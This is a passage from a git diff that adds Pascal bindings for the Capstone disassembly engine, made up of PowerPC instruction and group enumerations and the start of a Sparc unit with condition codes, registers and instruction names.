PPC_INS_LBZUX, + PPC_INS_LBZX, + PPC_INS_LD, + PPC_INS_LDARX, + PPC_INS_LDBRX, + PPC_INS_LDU, + PPC_INS_LDUX, + PPC_INS_LDX, + PPC_INS_LFD, + PPC_INS_LFDU, + PPC_INS_LFDUX, + PPC_INS_LFDX, + PPC_INS_LFIWAX, + PPC_INS_LFIWZX, + PPC_INS_LFS, + PPC_INS_LFSU, + PPC_INS_LFSUX, + PPC_INS_LFSX, + PPC_INS_LHA, + PPC_INS_LHAU, + PPC_INS_LHAUX, + PPC_INS_LHAX, + PPC_INS_LHBRX, + PPC_INS_LHZ, + PPC_INS_LHZU, + PPC_INS_LHZUX, + PPC_INS_LHZX, + PPC_INS_LI, + PPC_INS_LIS, + PPC_INS_LMW, + PPC_INS_LSWI, + PPC_INS_LVEBX, + PPC_INS_LVEHX, + PPC_INS_LVEWX, + PPC_INS_LVSL, + PPC_INS_LVSR, + PPC_INS_LVX, + PPC_INS_LVXL, + PPC_INS_LWA, + PPC_INS_LWARX, + PPC_INS_LWAUX, + PPC_INS_LWAX, + PPC_INS_LWBRX, + PPC_INS_LWZ, + PPC_INS_LWZU, + PPC_INS_LWZUX, + PPC_INS_LWZX, + PPC_INS_LXSDX, + PPC_INS_LXVD2X, + PPC_INS_LXVDSX, + PPC_INS_LXVW4X, + PPC_INS_MBAR, + PPC_INS_MCRF, + PPC_INS_MFCR, + PPC_INS_MFCTR, + PPC_INS_MFDCR, + PPC_INS_MFFS, + PPC_INS_MFLR, + PPC_INS_MFMSR, + PPC_INS_MFOCRF, + PPC_INS_MFSPR, + PPC_INS_MFSR, + PPC_INS_MFSRIN, + PPC_INS_MFTB, + PPC_INS_MFVSCR, + PPC_INS_MSYNC, + PPC_INS_MTCRF, + PPC_INS_MTCTR, + PPC_INS_MTDCR, + PPC_INS_MTFSB0, + PPC_INS_MTFSB1, + PPC_INS_MTFSF, + PPC_INS_MTLR, + PPC_INS_MTMSR, + PPC_INS_MTMSRD, + PPC_INS_MTOCRF, + PPC_INS_MTSPR, + PPC_INS_MTSR, + PPC_INS_MTSRIN, + PPC_INS_MTVSCR, + PPC_INS_MULHD, + PPC_INS_MULHDU, + PPC_INS_MULHW, + PPC_INS_MULHWU, + PPC_INS_MULLD, + PPC_INS_MULLI, + PPC_INS_MULLW, + PPC_INS_NAND, + PPC_INS_NEG, + PPC_INS_NOP, + PPC_INS_ORI, + PPC_INS_NOR, + PPC_INS_OR, + PPC_INS_ORC, + PPC_INS_ORIS, + PPC_INS_POPCNTD, + PPC_INS_POPCNTW, + PPC_INS_RFCI, + PPC_INS_RFDI, + PPC_INS_RFI, + PPC_INS_RFID, + PPC_INS_RFMCI, + PPC_INS_RLDCL, + PPC_INS_RLDCR, + PPC_INS_RLDIC, + PPC_INS_RLDICL, + PPC_INS_RLDICR, + PPC_INS_RLDIMI, + PPC_INS_RLWIMI, + PPC_INS_RLWINM, + PPC_INS_RLWNM, + PPC_INS_SC, + PPC_INS_SLBIA, + PPC_INS_SLBIE, + PPC_INS_SLBMFEE, + PPC_INS_SLBMTE, + PPC_INS_SLD, + PPC_INS_SLW, + PPC_INS_SRAD, + PPC_INS_SRADI, + PPC_INS_SRAW, + PPC_INS_SRAWI, + PPC_INS_SRD, + PPC_INS_SRW, + PPC_INS_STB, + PPC_INS_STBU, + PPC_INS_STBUX, + PPC_INS_STBX, + PPC_INS_STD, + PPC_INS_STDBRX, + PPC_INS_STDCX, + PPC_INS_STDU, + PPC_INS_STDUX, + PPC_INS_STDX, + PPC_INS_STFD, + PPC_INS_STFDU, + PPC_INS_STFDUX, + PPC_INS_STFDX, + PPC_INS_STFIWX, + PPC_INS_STFS, + PPC_INS_STFSU, + PPC_INS_STFSUX, + PPC_INS_STFSX, + PPC_INS_STH, + PPC_INS_STHBRX, + PPC_INS_STHU, + PPC_INS_STHUX, + PPC_INS_STHX, + PPC_INS_STMW, + PPC_INS_STSWI, + PPC_INS_STVEBX, + PPC_INS_STVEHX, + PPC_INS_STVEWX, + PPC_INS_STVX, + PPC_INS_STVXL, + PPC_INS_STW, + PPC_INS_STWBRX, + PPC_INS_STWCX, + PPC_INS_STWU, + PPC_INS_STWUX, + PPC_INS_STWX, + PPC_INS_STXSDX, + PPC_INS_STXVD2X, + PPC_INS_STXVW4X, + PPC_INS_SUBF, + PPC_INS_SUBFC, + PPC_INS_SUBFE, + PPC_INS_SUBFIC, + PPC_INS_SUBFME, + PPC_INS_SUBFZE, + PPC_INS_SYNC, + PPC_INS_TD, + PPC_INS_TDI, + PPC_INS_TLBIA, + PPC_INS_TLBIE, + PPC_INS_TLBIEL, + PPC_INS_TLBIVAX, + PPC_INS_TLBLD, + PPC_INS_TLBLI, + PPC_INS_TLBRE, + PPC_INS_TLBSX, + PPC_INS_TLBSYNC, + PPC_INS_TLBWE, + PPC_INS_TRAP, + PPC_INS_TW, + PPC_INS_TWI, + PPC_INS_VADDCUW, + PPC_INS_VADDFP, + PPC_INS_VADDSBS, + PPC_INS_VADDSHS, + PPC_INS_VADDSWS, + PPC_INS_VADDUBM, + PPC_INS_VADDUBS, + PPC_INS_VADDUHM, + PPC_INS_VADDUHS, + PPC_INS_VADDUWM, + PPC_INS_VADDUWS, + PPC_INS_VAND, + PPC_INS_VANDC, + PPC_INS_VAVGSB, + PPC_INS_VAVGSH, + PPC_INS_VAVGSW, + PPC_INS_VAVGUB, + PPC_INS_VAVGUH, + PPC_INS_VAVGUW, + PPC_INS_VCFSX, + PPC_INS_VCFUX, + PPC_INS_VCMPBFP, + PPC_INS_VCMPEQFP, + PPC_INS_VCMPEQUB, + PPC_INS_VCMPEQUH, + PPC_INS_VCMPEQUW, + PPC_INS_VCMPGEFP, + PPC_INS_VCMPGTFP, + PPC_INS_VCMPGTSB, + PPC_INS_VCMPGTSH, + PPC_INS_VCMPGTSW, + PPC_INS_VCMPGTUB, + PPC_INS_VCMPGTUH, + PPC_INS_VCMPGTUW, + PPC_INS_VCTSXS, + PPC_INS_VCTUXS, + PPC_INS_VEXPTEFP, + PPC_INS_VLOGEFP, + PPC_INS_VMADDFP, + PPC_INS_VMAXFP, + PPC_INS_VMAXSB, + PPC_INS_VMAXSH, + PPC_INS_VMAXSW, + PPC_INS_VMAXUB, + PPC_INS_VMAXUH, + PPC_INS_VMAXUW, + PPC_INS_VMHADDSHS, + PPC_INS_VMHRADDSHS, + PPC_INS_VMINFP, + PPC_INS_VMINSB, + PPC_INS_VMINSH, + PPC_INS_VMINSW, + PPC_INS_VMINUB, + PPC_INS_VMINUH, + PPC_INS_VMINUW, + PPC_INS_VMLADDUHM, + PPC_INS_VMRGHB, + PPC_INS_VMRGHH, + PPC_INS_VMRGHW, + PPC_INS_VMRGLB, + PPC_INS_VMRGLH, + PPC_INS_VMRGLW, + PPC_INS_VMSUMMBM, + PPC_INS_VMSUMSHM, + PPC_INS_VMSUMSHS, + PPC_INS_VMSUMUBM, + PPC_INS_VMSUMUHM, + PPC_INS_VMSUMUHS, + PPC_INS_VMULESB, + PPC_INS_VMULESH, + PPC_INS_VMULEUB, + PPC_INS_VMULEUH, + PPC_INS_VMULOSB, + PPC_INS_VMULOSH, + PPC_INS_VMULOUB, + PPC_INS_VMULOUH, + PPC_INS_VNMSUBFP, + PPC_INS_VNOR, + PPC_INS_VOR, + PPC_INS_VPERM, + PPC_INS_VPKPX, + PPC_INS_VPKSHSS, + PPC_INS_VPKSHUS, + PPC_INS_VPKSWSS, + PPC_INS_VPKSWUS, + PPC_INS_VPKUHUM, + PPC_INS_VPKUHUS, + PPC_INS_VPKUWUM, + PPC_INS_VPKUWUS, + PPC_INS_VREFP, + PPC_INS_VRFIM, + PPC_INS_VRFIN, + PPC_INS_VRFIP, + PPC_INS_VRFIZ, + PPC_INS_VRLB, + PPC_INS_VRLH, + PPC_INS_VRLW, + PPC_INS_VRSQRTEFP, + PPC_INS_VSEL, + PPC_INS_VSL, + PPC_INS_VSLB, + PPC_INS_VSLDOI, + PPC_INS_VSLH, + PPC_INS_VSLO, + PPC_INS_VSLW, + PPC_INS_VSPLTB, + PPC_INS_VSPLTH, + PPC_INS_VSPLTISB, + PPC_INS_VSPLTISH, + PPC_INS_VSPLTISW, + PPC_INS_VSPLTW, + PPC_INS_VSR, + PPC_INS_VSRAB, + PPC_INS_VSRAH, + PPC_INS_VSRAW, + PPC_INS_VSRB, + PPC_INS_VSRH, + PPC_INS_VSRO, + PPC_INS_VSRW, + PPC_INS_VSUBCUW, + PPC_INS_VSUBFP, + PPC_INS_VSUBSBS, + PPC_INS_VSUBSHS, + PPC_INS_VSUBSWS, + PPC_INS_VSUBUBM, + PPC_INS_VSUBUBS, + PPC_INS_VSUBUHM, + PPC_INS_VSUBUHS, + PPC_INS_VSUBUWM, + PPC_INS_VSUBUWS, + PPC_INS_VSUM2SWS, + PPC_INS_VSUM4SBS, + PPC_INS_VSUM4SHS, + PPC_INS_VSUM4UBS, + PPC_INS_VSUMSWS, + PPC_INS_VUPKHPX, + PPC_INS_VUPKHSB, + PPC_INS_VUPKHSH, + PPC_INS_VUPKLPX, + PPC_INS_VUPKLSB, + PPC_INS_VUPKLSH, + PPC_INS_VXOR, + PPC_INS_WAIT, + PPC_INS_WRTEE, + PPC_INS_WRTEEI, + PPC_INS_XOR, + PPC_INS_XORI, + PPC_INS_XORIS, + PPC_INS_XSABSDP, + PPC_INS_XSADDDP, + PPC_INS_XSCMPODP, + PPC_INS_XSCMPUDP, + PPC_INS_XSCPSGNDP, + PPC_INS_XSCVDPSP, + PPC_INS_XSCVDPSXDS, + PPC_INS_XSCVDPSXWS, + PPC_INS_XSCVDPUXDS, + PPC_INS_XSCVDPUXWS, + PPC_INS_XSCVSPDP, + PPC_INS_XSCVSXDDP, + PPC_INS_XSCVUXDDP, + PPC_INS_XSDIVDP, + PPC_INS_XSMADDADP, + PPC_INS_XSMADDMDP, + PPC_INS_XSMAXDP, + PPC_INS_XSMINDP, + PPC_INS_XSMSUBADP, + PPC_INS_XSMSUBMDP, + PPC_INS_XSMULDP, + PPC_INS_XSNABSDP, + PPC_INS_XSNEGDP, + PPC_INS_XSNMADDADP, + PPC_INS_XSNMADDMDP, + PPC_INS_XSNMSUBADP, + PPC_INS_XSNMSUBMDP, + PPC_INS_XSRDPI, + PPC_INS_XSRDPIC, + PPC_INS_XSRDPIM, + PPC_INS_XSRDPIP, + PPC_INS_XSRDPIZ, + PPC_INS_XSREDP, + PPC_INS_XSRSQRTEDP, + PPC_INS_XSSQRTDP, + PPC_INS_XSSUBDP, + PPC_INS_XSTDIVDP, + PPC_INS_XSTSQRTDP, + PPC_INS_XVABSDP, + PPC_INS_XVABSSP, + PPC_INS_XVADDDP, + PPC_INS_XVADDSP, + PPC_INS_XVCMPEQDP, + PPC_INS_XVCMPEQSP, + PPC_INS_XVCMPGEDP, + PPC_INS_XVCMPGESP, + PPC_INS_XVCMPGTDP, + PPC_INS_XVCMPGTSP, + PPC_INS_XVCPSGNDP, + PPC_INS_XVCPSGNSP, + PPC_INS_XVCVDPSP, + PPC_INS_XVCVDPSXDS, + PPC_INS_XVCVDPSXWS, + PPC_INS_XVCVDPUXDS, + PPC_INS_XVCVDPUXWS, + PPC_INS_XVCVSPDP, + PPC_INS_XVCVSPSXDS, + PPC_INS_XVCVSPSXWS, + PPC_INS_XVCVSPUXDS, + PPC_INS_XVCVSPUXWS, + PPC_INS_XVCVSXDDP, + PPC_INS_XVCVSXDSP, + PPC_INS_XVCVSXWDP, + PPC_INS_XVCVSXWSP, + PPC_INS_XVCVUXDDP, + PPC_INS_XVCVUXDSP, + PPC_INS_XVCVUXWDP, + PPC_INS_XVCVUXWSP, + PPC_INS_XVDIVDP, + PPC_INS_XVDIVSP, + PPC_INS_XVMADDADP, + PPC_INS_XVMADDASP, + PPC_INS_XVMADDMDP, + PPC_INS_XVMADDMSP, + PPC_INS_XVMAXDP, + PPC_INS_XVMAXSP, + PPC_INS_XVMINDP, + PPC_INS_XVMINSP, + PPC_INS_XVMSUBADP, + PPC_INS_XVMSUBASP, + PPC_INS_XVMSUBMDP, + PPC_INS_XVMSUBMSP, + PPC_INS_XVMULDP, + PPC_INS_XVMULSP, + PPC_INS_XVNABSDP, + PPC_INS_XVNABSSP, + PPC_INS_XVNEGDP, + PPC_INS_XVNEGSP, + PPC_INS_XVNMADDADP, + PPC_INS_XVNMADDASP, + PPC_INS_XVNMADDMDP, + PPC_INS_XVNMADDMSP, + PPC_INS_XVNMSUBADP, + PPC_INS_XVNMSUBASP, + PPC_INS_XVNMSUBMDP, + PPC_INS_XVNMSUBMSP, + PPC_INS_XVRDPI, + PPC_INS_XVRDPIC, + PPC_INS_XVRDPIM, + PPC_INS_XVRDPIP, + PPC_INS_XVRDPIZ, + PPC_INS_XVREDP, + PPC_INS_XVRESP, + PPC_INS_XVRSPI, + PPC_INS_XVRSPIC, + PPC_INS_XVRSPIM, + PPC_INS_XVRSPIP, + PPC_INS_XVRSPIZ, + PPC_INS_XVRSQRTEDP, + PPC_INS_XVRSQRTESP, + PPC_INS_XVSQRTDP, + PPC_INS_XVSQRTSP, + PPC_INS_XVSUBDP, + PPC_INS_XVSUBSP, + PPC_INS_XVTDIVDP, + PPC_INS_XVTDIVSP, + PPC_INS_XVTSQRTDP, + PPC_INS_XVTSQRTSP, + PPC_INS_XXLAND, + PPC_INS_XXLANDC, + PPC_INS_XXLNOR, + PPC_INS_XXLOR, + PPC_INS_XXLXOR, + PPC_INS_XXMRGHW, + PPC_INS_XXMRGLW, + PPC_INS_XXPERMDI, + PPC_INS_XXSEL, + PPC_INS_XXSLDWI, + PPC_INS_XXSPLTW, + PPC_INS_BCA, + PPC_INS_BCLA, + + // extra & alias instructions + PPC_INS_SLWI, + PPC_INS_SRWI, + PPC_INS_SLDI, + + PPC_INS_BTA, + PPC_INS_CRSET, + PPC_INS_CRNOT, + PPC_INS_CRMOVE, + PPC_INS_CRCLR, + PPC_INS_MFBR0, + PPC_INS_MFBR1, + PPC_INS_MFBR2, + PPC_INS_MFBR3, + PPC_INS_MFBR4, + PPC_INS_MFBR5, + PPC_INS_MFBR6, + PPC_INS_MFBR7, + PPC_INS_MFXER, + PPC_INS_MFRTCU, + PPC_INS_MFRTCL, + PPC_INS_MFDSCR, + PPC_INS_MFDSISR, + PPC_INS_MFDAR, + PPC_INS_MFSRR2, + PPC_INS_MFSRR3, + PPC_INS_MFCFAR, + PPC_INS_MFAMR, + PPC_INS_MFPID, + PPC_INS_MFTBLO, + PPC_INS_MFTBHI, + PPC_INS_MFDBATU, + PPC_INS_MFDBATL, + PPC_INS_MFIBATU, + PPC_INS_MFIBATL, + PPC_INS_MFDCCR, + PPC_INS_MFICCR, + PPC_INS_MFDEAR, + PPC_INS_MFESR, + PPC_INS_MFSPEFSCR, + PPC_INS_MFTCR, + PPC_INS_MFASR, + PPC_INS_MFPVR, + PPC_INS_MFTBU, + PPC_INS_MTCR, + PPC_INS_MTBR0, + PPC_INS_MTBR1, + PPC_INS_MTBR2, + PPC_INS_MTBR3, + PPC_INS_MTBR4, + PPC_INS_MTBR5, + PPC_INS_MTBR6, + PPC_INS_MTBR7, + PPC_INS_MTXER, + PPC_INS_MTDSCR, + PPC_INS_MTDSISR, + PPC_INS_MTDAR, + PPC_INS_MTSRR2, + PPC_INS_MTSRR3, + PPC_INS_MTCFAR, + PPC_INS_MTAMR, + PPC_INS_MTPID, + PPC_INS_MTTBL, + PPC_INS_MTTBU, + PPC_INS_MTTBLO, + PPC_INS_MTTBHI, + PPC_INS_MTDBATU, + PPC_INS_MTDBATL, + PPC_INS_MTIBATU, + PPC_INS_MTIBATL, + PPC_INS_MTDCCR, + PPC_INS_MTICCR, + PPC_INS_MTDEAR, + PPC_INS_MTESR, + PPC_INS_MTSPEFSCR, + PPC_INS_MTTCR, + PPC_INS_NOT, + PPC_INS_MR, + PPC_INS_ROTLD, + PPC_INS_ROTLDI, + PPC_INS_CLRLDI, + PPC_INS_ROTLWI, + PPC_INS_CLRLWI, + PPC_INS_ROTLW, + PPC_INS_SUB, + PPC_INS_SUBC, + PPC_INS_LWSYNC, + PPC_INS_PTESYNC, + PPC_INS_TDLT, + PPC_INS_TDEQ, + PPC_INS_TDGT, + PPC_INS_TDNE, + PPC_INS_TDLLT, + PPC_INS_TDLGT, + PPC_INS_TDU, + PPC_INS_TDLTI, + PPC_INS_TDEQI, + PPC_INS_TDGTI, + PPC_INS_TDNEI, + PPC_INS_TDLLTI, + PPC_INS_TDLGTI, + PPC_INS_TDUI, + PPC_INS_TLBREHI, + PPC_INS_TLBRELO, + PPC_INS_TLBWEHI, + PPC_INS_TLBWELO, + PPC_INS_TWLT, + PPC_INS_TWEQ, + PPC_INS_TWGT, + PPC_INS_TWNE, + PPC_INS_TWLLT, + PPC_INS_TWLGT, + PPC_INS_TWU, + PPC_INS_TWLTI, + PPC_INS_TWEQI, + PPC_INS_TWGTI, + PPC_INS_TWNEI, + PPC_INS_TWLLTI, + PPC_INS_TWLGTI, + PPC_INS_TWUI, + PPC_INS_WAITRSV, + PPC_INS_WAITIMPL, + PPC_INS_XNOP, + PPC_INS_XVMOVDP, + PPC_INS_XVMOVSP, + PPC_INS_XXSPLTD, + PPC_INS_XXMRGHD, + PPC_INS_XXMRGLD, + PPC_INS_XXSWAPD, + PPC_INS_BT, + PPC_INS_BF, + PPC_INS_BDNZT, + PPC_INS_BDNZF, + PPC_INS_BDZF, + PPC_INS_BDZT, + PPC_INS_BFA, + PPC_INS_BDNZTA, + PPC_INS_BDNZFA, + PPC_INS_BDZTA, + PPC_INS_BDZFA, + PPC_INS_BTCTR, + PPC_INS_BFCTR, + PPC_INS_BTCTRL, + PPC_INS_BFCTRL, + PPC_INS_BTL, + PPC_INS_BFL, + PPC_INS_BDNZTL, + PPC_INS_BDNZFL, + PPC_INS_BDZTL, + PPC_INS_BDZFL, + PPC_INS_BTLA, + PPC_INS_BFLA, + PPC_INS_BDNZTLA, + PPC_INS_BDNZFLA, + PPC_INS_BDZTLA, + PPC_INS_BDZFLA, + PPC_INS_BTLR, + PPC_INS_BFLR, + PPC_INS_BDNZTLR, + PPC_INS_BDZTLR, + PPC_INS_BDZFLR, + PPC_INS_BTLRL, + PPC_INS_BFLRL, + PPC_INS_BDNZTLRL, + PPC_INS_BDNZFLRL, + PPC_INS_BDZTLRL, + PPC_INS_BDZFLRL, + + PPC_INS_ENDING // <-- mark the end of the list of instructions + ); + + //> Group of PPC instructions + ppc_insn_group = ( + PPC_GRP_INVALID = 0, // = CS_GRP_INVALID + + //> Generic groups + // all jump instructions (conditional+direct+indirect jumps) + PPC_GRP_JUMP, // = CS_GRP_JUMP + + //> Architecture-specific groups + PPC_GRP_ALTIVEC = 128, + PPC_GRP_MODE32, + PPC_GRP_MODE64, + PPC_GRP_BOOKE, + PPC_GRP_NOTBOOKE, + PPC_GRP_SPE, + PPC_GRP_VSX, + PPC_GRP_E500, + PPC_GRP_PPC4XX, + PPC_GRP_PPC6XX, + + PPC_GRP_ENDING // <-- mark the end of the list of groups + ); + +implementation + +end. diff --git a/Core/Capstone/CapstoneSparc.pas b/Core/Capstone/CapstoneSparc.pas new file mode 100755 index 0000000..5e054b6 --- /dev/null +++ b/Core/Capstone/CapstoneSparc.pas @@ -0,0 +1,507 @@ +{ + Pascal language binding for the Capstone engine <http://www.capstone-engine.org/> + + Copyright (C) 2014, Stefan Ascher +} + +unit CapstoneSparc; +{ + sparc.h +} + +interface + +type + //> Enums corresponding to Sparc condition codes, both icc's and fcc's. + sparc_cc = ( + SPARC_CC_INVALID = 0, // invalid CC (default) + //> Integer condition codes + SPARC_CC_ICC_A = 8+256, // Always + SPARC_CC_ICC_N = 0+256, // Never + SPARC_CC_ICC_NE = 9+256, // Not Equal + SPARC_CC_ICC_E = 1+256, // Equal + SPARC_CC_ICC_G = 10+256, // Greater + SPARC_CC_ICC_LE = 2+256, // Less or Equal + SPARC_CC_ICC_GE = 11+256, // Greater or Equal + SPARC_CC_ICC_L = 3+256, // Less + SPARC_CC_ICC_GU = 12+256, // Greater Unsigned + SPARC_CC_ICC_LEU = 4+256, // Less or Equal Unsigned + SPARC_CC_ICC_CC = 13+256, // Carry Clear/Great or Equal Unsigned + SPARC_CC_ICC_CS = 5+256, // Carry Set/Less Unsigned + SPARC_CC_ICC_POS = 14+256, // Positive + SPARC_CC_ICC_NEG = 6+256, // Negative + SPARC_CC_ICC_VC = 15+256, // Overflow Clear + SPARC_CC_ICC_VS = 7+256, // Overflow Set + + //> Floating condition codes + SPARC_CC_FCC_A = 8+16+256, // Always + SPARC_CC_FCC_N = 0+16+256, // Never + SPARC_CC_FCC_U = 7+16+256, // Unordered + SPARC_CC_FCC_G = 6+16+256, // Greater + SPARC_CC_FCC_UG = 5+16+256, // Unordered or Greater + SPARC_CC_FCC_L = 4+16+256, // Less + SPARC_CC_FCC_UL = 3+16+256, // Unordered or Less + SPARC_CC_FCC_LG = 2+16+256, // Less or Greater + SPARC_CC_FCC_NE = 1+16+256, // Not Equal + SPARC_CC_FCC_E = 9+16+256, // Equal + SPARC_CC_FCC_UE = 10+16+256, // Unordered or Equal + SPARC_CC_FCC_GE = 11+16+256, // Greater or Equal + SPARC_CC_FCC_UGE = 12+16+256, // Unordered or Greater or Equal + SPARC_CC_FCC_LE = 13+16+256, // Less or Equal + SPARC_CC_FCC_ULE = 14+16+256, // Unordered or Less or Equal + SPARC_CC_FCC_O = 15+16+256 // Ordered + ); + + //> Branch hint + sparc_hint = ( + SPARC_HINT_INVALID = 0, // no hint + SPARC_HINT_A = 1 shl 0, // annul delay slot instruction + SPARC_HINT_PT = 1 shl 1, // branch taken + SPARC_HINT_PN = 1 shl 2 // branch NOT taken + ); + + //> Operand type for instruction's operands + sparc_op_type = ( + SPARC_OP_INVALID = 0, // = CS_OP_INVALID (Uninitialized). + SPARC_OP_REG, // = CS_OP_REG (Register operand). + SPARC_OP_IMM, // = CS_OP_IMM (Immediate operand). + SPARC_OP_MEM_ // = CS_OP_MEM (Memory operand). + ); + + // Instruction's operand referring to memory + // This is associated with SPARC_OP_MEM operand type above + sparc_op_mem = record + base: Byte; + index: Byte; + disp: Integer; + end; + + // Instruction operand + cs_sparc_op = record + _type: sparc_op_type; + case Integer of + 0: (reg: Cardinal); + 1: (imm: Integer); + 2: (mem: sparc_op_mem); + end; + + // Instruction structure + cs_sparc = record + cc: sparc_cc; + hint: sparc_hint; + op_count: Byte; + operands: array[0..3] of cs_sparc_op; + end; + + //> SPARC registers + sparc_reg = ( + SPARC_REG_INVALID = 0, + + SPARC_REG_F0, + SPARC_REG_F1, + SPARC_REG_F2, + SPARC_REG_F3, + SPARC_REG_F4, + SPARC_REG_F5, + SPARC_REG_F6, + SPARC_REG_F7, + SPARC_REG_F8, + SPARC_REG_F9, + SPARC_REG_F10, + SPARC_REG_F11, + SPARC_REG_F12, + SPARC_REG_F13, + SPARC_REG_F14, + SPARC_REG_F15, + SPARC_REG_F16, + SPARC_REG_F17, + SPARC_REG_F18, + SPARC_REG_F19, + SPARC_REG_F20, + SPARC_REG_F21, + SPARC_REG_F22, + SPARC_REG_F23, + SPARC_REG_F24, + SPARC_REG_F25, + SPARC_REG_F26, + SPARC_REG_F27, + SPARC_REG_F28, + SPARC_REG_F29, + SPARC_REG_F30, + SPARC_REG_F31, + SPARC_REG_F32, + SPARC_REG_F34, + SPARC_REG_F36, + SPARC_REG_F38, + SPARC_REG_F40, + SPARC_REG_F42, + SPARC_REG_F44, + SPARC_REG_F46, + SPARC_REG_F48, + SPARC_REG_F50, + SPARC_REG_F52, + SPARC_REG_F54, + SPARC_REG_F56, + SPARC_REG_F58, + SPARC_REG_F60, + SPARC_REG_F62, + SPARC_REG_FCC0, // Floating condition codes + SPARC_REG_FCC1, + SPARC_REG_FCC2, + SPARC_REG_FCC3, + SPARC_REG_FP, + SPARC_REG_G0, + SPARC_REG_G1, + SPARC_REG_G2, + SPARC_REG_G3, + SPARC_REG_G4, + SPARC_REG_G5, + SPARC_REG_G6, + SPARC_REG_G7, + SPARC_REG_I0, + SPARC_REG_I1, + SPARC_REG_I2, + SPARC_REG_I3, + SPARC_REG_I4, + SPARC_REG_I5, + SPARC_REG_I7, + SPARC_REG_ICC, // Integer condition codes + SPARC_REG_L0, + SPARC_REG_L1, + SPARC_REG_L2, + SPARC_REG_L3, + SPARC_REG_L4, + SPARC_REG_L5, + SPARC_REG_L6, + SPARC_REG_L7, + SPARC_REG_O0, + SPARC_REG_O1, + SPARC_REG_O2, + SPARC_REG_O3, + SPARC_REG_O4, + SPARC_REG_O5, + SPARC_REG_O7, + SPARC_REG_SP, + SPARC_REG_Y, + + // special register + SPARC_REG_XCC, + + SPARC_REG_ENDING, // <-- mark the end of the list of registers + + // extras + SPARC_REG_O6 = SPARC_REG_SP, + SPARC_REG_I6 = SPARC_REG_FP + ); + + //> SPARC instruction + sparc_insn = ( + SPARC_INS_INVALID = 0, + + SPARC_INS_ADDCC, + SPARC_INS_ADDX, + SPARC_INS_ADDXCC, + SPARC_INS_ADDXC, + SPARC_INS_ADDXCCC, + SPARC_INS_ADD, + SPARC_INS_ALIGNADDR, + SPARC_INS_ALIGNADDRL, + SPARC_INS_ANDCC, + SPARC_INS_ANDNCC, + SPARC_INS_ANDN, + SPARC_INS_AND, + SPARC_INS_ARRAY16, + SPARC_INS_ARRAY32, + SPARC_INS_ARRAY8, + SPARC_INS_B, + SPARC_INS_JMP, + SPARC_INS_BMASK, + SPARC_INS_FB, + SPARC_INS_BRGEZ, + SPARC_INS_BRGZ, + SPARC_INS_BRLEZ, + SPARC_INS_BRLZ, + SPARC_INS_BRNZ, + SPARC_INS_BRZ, + SPARC_INS_BSHUFFLE, + SPARC_INS_CALL, + SPARC_INS_CASX, + SPARC_INS_CAS, + SPARC_INS_CMASK16, + SPARC_INS_CMASK32, + SPARC_INS_CMASK8, + SPARC_INS_CMP, + SPARC_INS_EDGE16, + SPARC_INS_EDGE16L, + SPARC_INS_EDGE16LN, + SPARC_INS_EDGE16N, + SPARC_INS_EDGE32, + SPARC_INS_EDGE32L, + SPARC_INS_EDGE32LN, + SPARC_INS_EDGE32N, + SPARC_INS_EDGE8, + SPARC_INS_EDGE8L, + SPARC_INS_EDGE8LN, + SPARC_INS_EDGE8N, + SPARC_INS_FABSD, + SPARC_INS_FABSQ, + SPARC_INS_FABSS, + SPARC_INS_FADDD, + SPARC_INS_FADDQ, + SPARC_INS_FADDS, + SPARC_INS_FALIGNDATA, + SPARC_INS_FAND, + SPARC_INS_FANDNOT1, + SPARC_INS_FANDNOT1S, + SPARC_INS_FANDNOT2, + SPARC_INS_FANDNOT2S, + SPARC_INS_FANDS, + SPARC_INS_FCHKSM16, + SPARC_INS_FCMPD, + SPARC_INS_FCMPEQ16, + SPARC_INS_FCMPEQ32, + SPARC_INS_FCMPGT16, + SPARC_INS_FCMPGT32, + SPARC_INS_FCMPLE16, + SPARC_INS_FCMPLE32, + SPARC_INS_FCMPNE16, + SPARC_INS_FCMPNE32, + SPARC_INS_FCMPQ, + SPARC_INS_FCMPS, + SPARC_INS_FDIVD, + SPARC_INS_FDIVQ, + SPARC_INS_FDIVS, + SPARC_INS_FDMULQ, + SPARC_INS_FDTOI, + SPARC_INS_FDTOQ, + SPARC_INS_FDTOS, + SPARC_INS_FDTOX, + SPARC_INS_FEXPAND, + SPARC_INS_FHADDD, + SPARC_INS_FHADDS, + SPARC_INS_FHSUBD, + SPARC_INS_FHSUBS, + SPARC_INS_FITOD, + SPARC_INS_FITOQ, + SPARC_INS_FITOS, + SPARC_INS_FLCMPD, + SPARC_INS_FLCMPS, + SPARC_INS_FLUSHW, + SPARC_INS_FMEAN16, + SPARC_INS_FMOVD, + SPARC_INS_FMOVQ, + SPARC_INS_FMOVRDGEZ, + SPARC_INS_FMOVRQGEZ, + SPARC_INS_FMOVRSGEZ, + SPARC_INS_FMOVRDGZ, + SPARC_INS_FMOVRQGZ, + SPARC_INS_FMOVRSGZ, + SPARC_INS_FMOVRDLEZ, + SPARC_INS_FMOVRQLEZ, + SPARC_INS_FMOVRSLEZ, + SPARC_INS_FMOVRDLZ, + SPARC_INS_FMOVRQLZ, + SPARC_INS_FMOVRSLZ, + SPARC_INS_FMOVRDNZ, + SPARC_INS_FMOVRQNZ, + SPARC_INS_FMOVRSNZ, + SPARC_INS_FMOVRDZ, + SPARC_INS_FMOVRQZ, + SPARC_INS_FMOVRSZ, + SPARC_INS_FMOVS, + SPARC_INS_FMUL8SUX16, + SPARC_INS_FMUL8ULX16, + SPARC_INS_FMUL8X16, + SPARC_INS_FMUL8X16AL, + SPARC_INS_FMUL8X16AU, + SPARC_INS_FMULD, + SPARC_INS_FMULD8SUX16, + SPARC_INS_FMULD8ULX16, + SPARC_INS_FMULQ, + SPARC_INS_FMULS, + SPARC_INS_FNADDD, + SPARC_INS_FNADDS, + SPARC_INS_FNAND, + SPARC_INS_FNANDS, + SPARC_INS_FNEGD, + SPARC_INS_FNEGQ, + SPARC_INS_FNEGS, + SPARC_INS_FNHADDD, + SPARC_INS_FNHADDS, + SPARC_INS_FNOR, + SPARC_INS_FNORS, + SPARC_INS_FNOT1, + SPARC_INS_FNOT1S, + SPARC_INS_FNOT2, + SPARC_INS_FNOT2S, + SPARC_INS_FONE, + SPARC_INS_FONES, + SPARC_INS_FOR, + SPARC_INS_FORNOT1, + SPARC_INS_FORNOT1S, + SPARC_INS_FORNOT2, + SPARC_INS_FORNOT2S, + SPARC_INS_FORS, + SPARC_INS_FPACK16, + SPARC_INS_FPACK32, + SPARC_INS_FPACKFIX, + SPARC_INS_FPADD16, + SPARC_INS_FPADD16S, + SPARC_INS_FPADD32, + SPARC_INS_FPADD32S, + 